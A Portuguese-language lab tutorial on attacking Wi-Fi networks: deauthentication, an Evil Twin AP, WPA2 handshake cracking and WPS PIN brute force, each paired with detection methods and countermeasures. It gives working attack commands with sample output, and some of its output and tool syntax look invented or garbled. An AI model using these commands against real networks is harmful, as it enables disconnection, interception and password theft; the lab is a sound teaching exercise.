Demonstração em ambiente isolado e autorizado dos principais vetores de ataque: desautenticação (DeAuth), Evil Twin / Rogue AP, captura de handshake WPA2 e ataque ao WPS PIN. Análise de impacto e contramedidas para cada vetor.
Este laboratório demonstra ataques a redes Wi-Fi em um ambiente completamente isolado. O AP de laboratório não deve ter conectividade com a Internet nem com redes institucionais. Clientes são notebooks ou smartphones exclusivos para o laboratório.
| Componente | Configuração | Papel |
|---|---|---|
| Access Point de laboratório | Mercusys MR30G / TP-Link Archer C6 | Alvo dos testes — rede isolada sem Internet |
| Máquina do atacante | Kali Linux + adaptador Alfa AWUS036ACH | Executa as ferramentas de auditoria |
| Cliente legítimo | Smartphone Android / notebook | Simula usuário conectado ao AP |
| SSID de laboratório | Lab-WiFi-Seguro / senha: LabSenha2024! | Rede de teste com credenciais conhecidas |
O ataque de desautenticação explora o fato de que, sem PMF (802.11w), frames de gerenciamento não são autenticados. Um atacante pode enviar frames Deauthentication forjados com o endereço MAC do AP, forçando a desconexão de clientes.
# Passo 1: identificar AP e cliente com airodump-ng
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:11:22:33
BSSID CH ENC ESSID
AA:BB:CC:11:22:33 6 WPA2 Lab-WiFi-Seguro
STATION PWR ESSID
DD:EE:FF:00:11:22 -48 Lab-WiFi-Seguro ← cliente conectado
# Passo 2: capturar handshake em segundo terminal
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon
# Passo 3: enviar 5 frames de DeAuth
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
Sending 5 directed DeAuth frames...
DeAuth frame 1/5 sent
DeAuth frame 2/5 sent
DeAuth frame 3/5 sent
WPA handshake: AA:BB:CC:11:22:33 ← handshake capturado na reconexão
# DeAuth broadcast (desconecta TODOS os clientes)
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 wlan0mon
# Kismet alerta automaticamente sobre flood de DeAuth
kismet -c wlan0 --alert DEAUTHFLOOD,5,1
[ALERT] DEAUTHFLOOD: 5 DeAuth frames em 1s — possível ataque
# Via Wireshark — filtrar frames DeAuth
wlan.fc.type_subtype == 12
# Contar DeAuth por origem
tshark -r captura.pcap -Y "wlan.fc.type_subtype==12" -T fields -e wlan.sa | sort | uniq -c | sort -rn
# /etc/hostapd/hostapd.conf — habilitar PMF obrigatório
ieee80211w=2 # 2 = obrigatório (Management Frame Protection Required)
# Resultado com PMF ativo:
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
Error: send_deauth — No response. PMF ativo: ataque ineficaz.
O ataque Evil Twin cria um AP falso com o mesmo SSID do AP legítimo, em geral com sinal mais forte. O objetivo é fazer o cliente se conectar ao AP falso, permitindo interceptação do tráfego (MITM).
# Criar arquivo de configuração do AP falso
cat > /tmp/evil_twin.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=Lab-WiFi-Seguro
channel=6
hw_mode=g
auth_algs=1
ignore_broadcast_ssid=0
EOF
# Iniciar AP falso (requer segundo adaptador wlan1)
hostapd /tmp/evil_twin.conf
[hostapd] AP "Lab-WiFi-Seguro" iniciado no canal 6
[hostapd] Aguardando conexões de clientes...
# Observar clientes que se conectam ao AP falso
tail -f /var/log/hostapd.log
# Kismet detecta AP com SSID duplicado e BSSID diferente
kismet -c wlan0 --alert APSPOOF,10,60
[ALERT] APSPOOF: SSID "Lab-WiFi-Seguro" visto com BSSID diferente!
BSSID legítimo: AA:BB:CC:11:22:33
BSSID suspeito: FF:EE:DD:CC:BB:AA ← possível Evil Twin
# Via airodump-ng: dois APs com mesmo SSID
BSSID CH ENC ESSID
AA:BB:CC:11:22:33 6 WPA2 Lab-WiFi-Seguro ← legítimo
FF:EE:DD:CC:BB:AA 6 OPN Lab-WiFi-Seguro ← FALSO (sem senha)
# Fluxo completo: captura + DeAuth + crack
# Terminal 1: capturar handshake
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon
# Terminal 2: forçar reconexão do cliente
aireplay-ng -0 3 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
WPA handshake: AA:BB:CC:11:22:33 ← confirmado em Terminal 1
# Verificar handshake capturado
aircrack-ng handshake-01.cap
# BSSID ESSID ENC Handshake
1 AA:BB:CC:11:22:33 Lab-WiFi-Seguro WPA 1 handshake
# Tentar crack com dicionário (senha do lab é conhecida)
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap
Testando 14.341.564 chaves...
KEY FOUND! [ LabSenha2024! ]
Tempo: 8m 12s | Velocidade: 28.921 chaves/s
# Alternativa mais rápida: hashcat com GPU
hcxtools -i handshake-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 rockyou.txt
Session: Cracked — Velocidade: 2.1 MH/s (RTX 3080)
O WPS (Wi-Fi Protected Setup) permite configuração simplificada via PIN de 8 dígitos. A vulnerabilidade de design divide a verificação em duas metades de 4 dígitos, reduzindo o espaço de busca de 108 para 104 + 103 = 11.000 tentativas.
# Verificar APs com WPS habilitado
wash -i wlan0mon --ignore-fcs
BSSID Ch dBm WPS Lck ESSID
AA:BB:CC:11:22:33 6 -55 2.0 No Lab-WiFi-Seguro ← vulnerável
# Ataque brute-force do PIN (lento, ~2-10h)
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv --delay 1
[+] Tentando PIN 12345670...
[+] Tentando PIN 00005678...
[!] Rate limiting detectado — delay aumentado para 5s
[+] WPS PIN: '87654321'
[+] WPA PSK: 'LabSenha2024!'
# Pixie Dust — exploração offline de chips vulneráveis (segundos)
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv -K 1
[Pixie-Dust] Nonces capturados — calculando chave offline...
[Pixie-Dust] PIN recuperado em 38 segundos!
# Contramedida imediata: desabilitar WPS no painel do roteador
| Método | Tempo | Condição | Contramedida |
|---|---|---|---|
| Brute-force PIN | 2–10 horas | WPS ativo, sem lockout | Lockout após 3 tentativas + desabilitar WPS |
| Pixie Dust | Segundos | Chip Ralink/Broadcom vulnerável | Atualizar firmware ou desabilitar WPS |
| PIN estático (padrão) | Minutos | PIN padrão do fabricante em uso | Desabilitar WPS — não existe outra solução eficaz |
# Gerar senha de 24 caracteres aleatórios
openssl rand -base64 24
K9mXpQ2vRw7nLsYdFhJcUbE4==
tr -dc 'A-Za-z0-9!@#$%^&*' < /dev/urandom | head -c 24; echo
mK8!xR2@qP5#wL9%cD7^